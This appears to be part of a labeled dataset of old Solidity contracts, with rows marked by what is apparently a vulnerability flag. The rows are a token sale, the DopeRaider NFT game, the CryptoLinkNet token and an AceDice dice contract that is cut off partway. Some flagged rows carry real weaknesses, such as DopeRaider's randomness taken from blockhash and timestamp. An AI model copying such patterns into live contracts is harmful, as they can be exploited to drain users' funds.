}
}
function distribution(address[] addresses, uint256 amount) onlyOwner public {
require(addresses.length <= 255);
for (uint i = 0; i < addresses.length; i++) {
sendTokens(addresses[i], amount);
cslToken.transfer(addresses[i], amount);
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
sendTokens(addresses[i], amounts[i]);
cslToken.transfer(addresses[i], amounts[i]);
}
}
function () external payable {
getTokens();
}
function getTokens() payable isUnlocked public {
address investor = msg.sender;
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(value);
if (msg.value == 0) { return; }
if (bonusTime == true) {
uint256 bonusTokens = weiAmount.mul(bonus);
tokens = tokens.add(bonusTokens);
}
sendTokens(investor, tokens);
cslToken.transfer(investor, tokens);
}
function tokensAvailable() constant public returns (uint256) {
return cslToken.balanceOf(this);
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function withdrawStandardTokens(address _tokenContract) onlyOwner public returns (bool) {
StandardToken token = StandardToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0 | 2,586 |
pragma solidity ^0.4.19;
contract DistrictsCoreInterface {
function isDopeRaiderDistrictsCore() public pure returns (bool);
function increaseDistrictWeed(uint256 _district, uint256 _quantity) public;
function increaseDistrictCoke(uint256 _district, uint256 _quantity) public;
function distributeRevenue(uint256 _district , uint8 _splitW, uint8 _splitC) public payable;
function getNarcoLocation(uint256 _narcoId) public view returns (uint8 location);
}
contract SaleClockAuction {
function isSaleClockAuction() public pure returns (bool);
function createAuction(uint256 _tokenId, uint256 _startingPrice,uint256 _endingPrice,uint256 _duration,address _seller)public;
function withdrawBalance() public;
function averageGen0SalePrice() public view returns (uint256);
}
contract NarcoAccessControl {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress
);
_;
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function withdrawBalance() external onlyCLevel {
msg.sender.transfer(address(this).balance);
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCLevel whenPaused {
paused = false;
}
address public districtContractAddress;
DistrictsCoreInterface public districtsCore;
function setDistrictAddress(address _address) public onlyCLevel {
_setDistrictAddresss(_address);
}
function _setDistrictAddresss(address _address) internal {
DistrictsCoreInterface candidateContract = DistrictsCoreInterface(_address);
require(candidateContract.isDopeRaiderDistrictsCore());
districtsCore = candidateContract;
districtContractAddress = _address;
}
modifier onlyDopeRaiderContract() {
require(msg.sender == districtContractAddress);
_;
}
}
contract NarcoBase is NarcoAccessControl {
event NarcoCreated(address indexed owner, uint256 narcoId, string genes);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
struct Narco {
string genes;
string narcoName;
uint16 [9] stats;
uint16 weedTotal;
uint16 cokeTotal;
uint8 [4] consumables;
uint16 [6] skills;
uint256 [6] cooldowns;
uint8 homeLocation;
}
Narco[] narcos;
mapping (uint256 => address) public narcoIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public narcoIndexToApproved;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
narcoIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete narcoIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _createNarco(
string _genes,
string _name,
address _owner
)
internal
returns (uint)
{
uint16[6] memory randomskills= [
uint16(random(9)+1),
uint16(random(9)+1),
uint16(random(9)+1),
uint16(random(9)+1),
uint16(random(9)+1),
uint16(random(9)+31)
];
uint256[6] memory cools;
uint16[9] memory nostats;
Narco memory _narco = Narco({
genes: _genes,
narcoName: _name,
cooldowns: cools,
stats: nostats,
weedTotal: 0,
cokeTotal: 0,
consumables: [4,6,2,1],
skills: randomskills,
homeLocation: uint8(random(6)+1)
});
uint256 newNarcoId = narcos.push(_narco) - 1;
require(newNarcoId <= 4294967295);
if (newNarcoId==0){
narcos[0].homeLocation=7;
narcos[0].skills[4]=800;
narcos[0].skills[5]=65535;
}
NarcoCreated(_owner, newNarcoId, _narco.genes);
_transfer(0, _owner, newNarcoId);
return newNarcoId;
}
function subToZero(uint256 a, uint256 b) internal pure returns (uint256) {
if (b <= a){
return a - b;
}else{
return 0;
}
}
function getRemainingCapacity(uint256 _narcoId) public view returns (uint16 capacity){
uint256 usedCapacity = narcos[_narcoId].weedTotal + narcos[_narcoId].cokeTotal + narcos[_narcoId].consumables[0]+narcos[_narcoId].consumables[1]+narcos[_narcoId].consumables[2]+narcos[_narcoId].consumables[3];
capacity = uint16(subToZero(uint256(narcos[_narcoId].skills[5]), usedCapacity));
}
function getLevel(uint256 _narcoId) public view returns (uint16 rank){
rank = (narcos[_narcoId].stats[0]/12)+
(narcos[_narcoId].stats[1]/4)+
(narcos[_narcoId].stats[2]/4)+
(narcos[_narcoId].stats[3]/6)+
(narcos[_narcoId].stats[4]/6)+
(narcos[_narcoId].stats[5]/1)+
(narcos[_narcoId].stats[7]/12)
;
}
uint64 _seed = 0;
function random(uint64 upper) private returns (uint64 randomNumber) {
_seed = uint64(keccak256(keccak256(block.blockhash(block.number-1), _seed), now));
return _seed % upper;
}
function narcosByOwner(address _owner) public view returns(uint256[] ownedNarcos) {
uint256 tokenCount = ownershipTokenCount[_owner];
uint256 totalNarcos = narcos.length - 1;
uint256[] memory result = new uint256[](tokenCount);
uint256 narcoId;
uint256 resultIndex=0;
for (narcoId = 0; narcoId <= totalNarcos; narcoId++) {
if (narcoIndexToOwner[narcoId] == _owner) {
result[resultIndex] = narcoId;
resultIndex++;
}
}
return result;
}
}
contract ERC721 {
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
}
contract NarcoOwnership is NarcoBase, ERC721 {
string public name = "DopeRaider";
string public symbol = "DOPR";
function implementsERC721() public pure returns (bool)
{
return true;
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return narcoIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return narcoIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
narcoIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
public
{
require(_to != address(0));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
public
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
require(_to != address(0));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return narcos.length - 1;
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = narcoIndexToOwner[_tokenId];
require(owner != address(0));
}
}
contract NarcoUpdates is NarcoOwnership {
function updateWeedTotal(uint256 _narcoId, bool _add, uint16 _total) public onlyDopeRaiderContract {
if(_add==true){
narcos[_narcoId].weedTotal+= _total;
}else{
narcos[_narcoId].weedTotal-= _total;
}
}
function updateCokeTotal(uint256 _narcoId, bool _add, uint16 _total) public onlyDopeRaiderContract {
if(_add==true){
narcos[_narcoId].cokeTotal+= _total;
}else{
narcos[_narcoId].cokeTotal-= _total;
}
}
function updateConsumable(uint256 _narcoId, uint256 _index, uint8 _new) public onlyDopeRaiderContract {
narcos[_narcoId].consumables[_index] = _new;
}
function updateSkill(uint256 _narcoId, uint256 _index, uint16 _new) public onlyDopeRaiderContract {
narcos[_narcoId].skills[_index] = _new;
}
function incrementStat(uint256 _narcoId , uint256 _index) public onlyDopeRaiderContract {
narcos[_narcoId].stats[_index]++;
}
function setCooldown(uint256 _narcoId , uint256 _index , uint256 _new) public onlyDopeRaiderContract {
narcos[_narcoId].cooldowns[_index]=_new;
}
}
contract NarcoAuction is NarcoUpdates {
SaleClockAuction public saleAuction;
function setSaleAuctionAddress(address _address) public onlyCLevel {
SaleClockAuction candidateContract = SaleClockAuction(_address);
require(candidateContract.isSaleClockAuction());
saleAuction = candidateContract;
}
function createSaleAuction(
uint256 _narcoId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
public
whenNotPaused
{
require(_owns(msg.sender, _narcoId));
_approve(_narcoId, saleAuction);
saleAuction.createAuction(
_narcoId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function withdrawAuctionBalances() external onlyCLevel {
saleAuction.withdrawBalance();
}
}
contract NarcoMinting is NarcoAuction {
uint256 public promoCreationLimit = 200;
uint256 public gen0CreationLimit = 5000;
uint256 public gen0StartingPrice = 1 ether;
uint256 public gen0EndingPrice = 20 finney;
uint256 public gen0AuctionDuration = 1 days;
uint256 public promoCreatedCount;
uint256 public gen0CreatedCount;
function createPromoNarco(
string _genes,
string _name,
address _owner
) public onlyCLevel {
if (_owner == address(0)) {
_owner = cooAddress;
}
require(promoCreatedCount < promoCreationLimit);
require(gen0CreatedCount < gen0CreationLimit);
promoCreatedCount++;
gen0CreatedCount++;
_createNarco(_genes, _name, _owner);
}
function createGen0Auction(
string _genes,
string _name
) public onlyCLevel {
require(gen0CreatedCount < gen0CreationLimit);
uint256 narcoId = _createNarco(_genes,_name,address(this));
_approve(narcoId, saleAuction);
saleAuction.createAuction(
narcoId,
_computeNextGen0Price(),
gen0EndingPrice,
gen0AuctionDuration,
address(this)
);
gen0CreatedCount++;
}
function _computeNextGen0Price() internal view returns (uint256) {
uint256 avePrice = saleAuction.averageGen0SalePrice();
require(avePrice < 340282366920938463463374607431768211455);
uint256 nextPrice = avePrice + (avePrice / 2);
if (nextPrice < gen0StartingPrice) {
nextPrice = gen0StartingPrice;
}
return nextPrice;
}
}
contract DopeRaiderCore is NarcoMinting {
address public newContractAddress;
bool public gamePaused = true;
modifier whenGameNotPaused() {
require(!gamePaused);
_;
}
modifier whenGamePaused {
require(gamePaused);
_;
}
function pause() public onlyCLevel whenGameNotPaused {
gamePaused = true;
}
function unpause() public onlyCLevel whenGamePaused {
gamePaused = false;
}
event GrowWeedCompleted(uint256 indexed narcoId, uint yield);
event RefineCokeCompleted(uint256 indexed narcoId, uint yield);
function DopeRaiderCore() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function setNewAddress(address _v2Address) public onlyCLevel whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function() external payable {
require(msg.sender == address(saleAuction));
}
function getNarco(uint256 _id)
public
view
returns (
string narcoName,
uint256 weedTotal,
uint256 cokeTotal,
uint16[6] skills,
uint8[4] consumables,
string genes,
uint8 homeLocation,
uint16 level,
uint256[6] cooldowns,
uint256 id,
uint16 [9] stats
) {
Narco storage narco = narcos[_id];
narcoName = narco.narcoName;
weedTotal = narco.weedTotal;
cokeTotal = narco.cokeTotal;
skills = narco.skills;
consumables = narco.consumables;
genes = narco.genes;
homeLocation = narco.homeLocation;
level = getLevel(_id);
cooldowns = narco.cooldowns;
id = _id;
stats = narco.stats;
}
uint256 public changeIdentityNarcoRespect = 30;
function setChangeIdentityNarcoRespect(uint256 _respect) public onlyCLevel {
changeIdentityNarcoRespect=_respect;
}
uint256 public personalisationCost = 0.01 ether;
function setPersonalisationCost(uint256 _cost) public onlyCLevel {
personalisationCost=_cost;
}
function updateNarco(uint256 _narcoId, string _genes, string _name) public payable whenGameNotPaused {
require(getLevel(_narcoId)>=changeIdentityNarcoRespect);
require(msg.sender==narcoIndexToOwner[_narcoId]);
require(msg.value>=personalisationCost);
narcos[_narcoId].genes = _genes;
narcos[_narcoId].narcoName = _name;
}
uint256 public respectRequiredToRecruit = 150;
function setRespectRequiredToRecruit(uint256 _respect) public onlyCLevel {
respectRequiredToRecruit=_respect;
}
function recruitNarco(uint256 _narcoId, string _genes, string _name) public whenGameNotPaused {
require(msg.sender==narcoIndexToOwner[_narcoId]);
require(getLevel(_narcoId)>=respectRequiredToRecruit);
require(narcos[_narcoId].stats[8]<getLevel(_narcoId)/respectRequiredToRecruit);
_createNarco(_genes,_name, msg.sender);
narcos[_narcoId].stats[8]+=1;
}
uint256 public growCost = 0.003 ether;
function setGrowCost(uint256 _cost) public onlyCLevel{
growCost=_cost;
}
function growWeed(uint256 _narcoId) public payable whenGameNotPaused{
require(msg.sender==narcoIndexToOwner[_narcoId]);
require(msg.value>=growCost);
require(now>narcos[_narcoId].cooldowns[1]);
uint16 growSkillLevel = narcos[_narcoId].skills[1];
uint16 maxYield = 9 + growSkillLevel;
uint yield = min(narcos[_narcoId].consumables[1],maxYield);
require(yield>0);
uint8 district = districtsCore.getNarcoLocation(_narcoId);
require(district==narcos[_narcoId].homeLocation);
uint256 cooldown = now + ((910-(10*growSkillLevel))* 1 seconds);
narcos[_narcoId].cooldowns[1]=cooldown;
narcos[_narcoId].consumables[1]=uint8(subToZero(uint256(narcos[_narcoId].consumables[1]),yield));
narcos[_narcoId].weedTotal+=uint8(yield);
narcos[_narcoId].stats[1]+=1;
districtsCore.increaseDistrictWeed(district , yield);
districtsCore.distributeRevenue.value(growCost)(uint256(district),50,50);
GrowWeedCompleted(_narcoId, yield);
}
uint256 public refineCost = 0.003 ether;
function setRefineCost(uint256 _cost) public onlyCLevel{
refineCost=_cost;
}
function refineCoke(uint256 _narcoId) public payable whenGameNotPaused{
require(msg.sender==narcoIndexToOwner[_narcoId]);
require(msg.value>=refineCost);
require(now>narcos[_narcoId].cooldowns[2]);
uint16 refineSkillLevel = narcos[_narcoId].skills[2];
uint16 maxYield = 3+(refineSkillLevel/3);
uint yield = min(narcos[_narcoId].consumables[2],maxYield);
require(yield>0);
uint8 district = districtsCore.getNarcoLocation(_narcoId);
require(district==narcos[_narcoId].homeLocation);
uint256 cooldown = now + ((910-(10*refineSkillLevel))* 1 seconds);
narcos[_narcoId].cooldowns[2]=cooldown;
narcos[_narcoId].consumables[2]=uint8(subToZero(uint256(narcos[_narcoId].consumables[2]),yield));
narcos[_narcoId].cokeTotal+=uint8(yield);
narcos[_narcoId].stats[2]+=1;
districtsCore.increaseDistrictCoke(district, yield);
districtsCore.distributeRevenue.value(refineCost)(uint256(district),50,50);
RefineCokeCompleted(_narcoId, yield);
}
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
} | 1 | 5,526 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 8;
uint8 constant TOKEN_DECIMALS_UINT8 = 8;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "CryptoLink Network";
string constant TOKEN_SYMBOL = "CLN";
bool constant PAUSED = false;
address constant TARGET_USER = 0x70341461e043f4bF14c70018ff25Efb0a7DfEb64;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract CryptoLinkNet is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function CryptoLinkNet() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x70341461e043f4bF14c70018ff25Efb0a7DfEb64)];
uint[1] memory amounts = [uint(10000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 2,706 |
pragma solidity ^0.4.24;
contract AceDice {
uint constant HOUSE_EDGE_PERCENT = 2;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0004 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint public todaysRewardSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
address inviter;
}
struct Profile{
uint avatarIndex;
string nickName;
}
mapping (uint => Bet) bets;
mapping (address => uint) accuBetAmount;
mapping (address => Profile) profiles;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event JackpotPayment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event VIPPayback(address indexed beneficiary, uint amount);
event Commit(uint commit);
event TodaysRankingPayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function getSecretSigner() external onlyOwner view returns(address){
return secretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount, 0, 0, 0);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function encodePacketCommit(uint commitLastBlock, uint commit) private pure returns(bytes memory){
return abi.encodePacked(uint40(commitLastBlock), commit);
}
function verifyCommit(uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) private view {
require (block.number <= commitLastBlock, "Commit has expired.");
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes memory message = encodePacketCommit(commitLastBlock, commit);
bytes32 messageHash = keccak256(abi.encodePacked(prefix, keccak256(message)));
require (secretSigner == ecrecover(messageHash, v, r, s), "ECDSA signature is not valid.");
}
function placeBet(uint betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
verifyCommit(commitLastBlock, commit, v, r, s);
uint mask;
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(betMask);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
uint accuAmount = accuBetAmount[msg.sender];
accuAmount = accuAmount + amount;
accuBetAmount[msg.sender] = accuAmount;
}
